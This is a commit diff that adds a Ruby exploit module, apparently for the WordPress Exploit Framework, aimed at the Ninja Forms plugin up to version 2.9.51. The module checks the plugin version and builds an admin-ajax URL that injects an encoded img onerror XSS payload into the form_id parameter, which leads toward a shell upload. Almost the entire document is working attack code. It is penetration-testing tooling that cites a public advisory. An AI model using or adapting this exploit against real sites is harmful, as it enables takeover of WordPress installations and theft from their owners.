Add Ninja Forms reflected XSS module

Author: rastating

modules/exploits/ninja_forms_reflected_xss_shell_upload.rb

@@ -0,0 +1,35 @@
+class Wpxf::Exploit::NinjaFormsReflectedXssShellUpload < Wpxf::Module
+  include Wpxf::WordPress::ReflectedXss
+
+  def initialize
+    super
+
+    update_info(
+      name: 'Ninja Forms <= 2.9.51 Reflected XSS Shell Upload',
+      author: [
+        'Han Sahin',                      # Discovery
+        'Rob Carr <rob[at]rastating.com>' # WPXF module
+      ],
+      references: [
+        ['WPVDB', '8560'],
+        ['URL', 'https://sumofpwn.nl/advisory/2016/multiple_cross_site_scripting_vulnerabilities_in_ninja_forms_wordpress_plugin.html']
+      ],
+      date: 'Jul 19 2016'
+    )
+  end
+
+  def check
+    check_plugin_version_from_readme('ninja-forms', '2.9.52')
+  end
+
+  def vulnerable_url
+    wordpress_url_admin_ajax
+  end
+
+  def url_with_xss
+    "#{vulnerable_url}?step=4&total_steps=6"\
+    "&args[form_id]=#{Utility::Text.rand_numeric(2)}%3Cimg%20src%3dx%20onerror%3d#{xss_ascii_encoded_include_script}%3E"\
+    "&args[filename]=#{Utility::Text.rand_alpha(5)}"\
+    '&action=nf_download_all_subs'
+  end
+end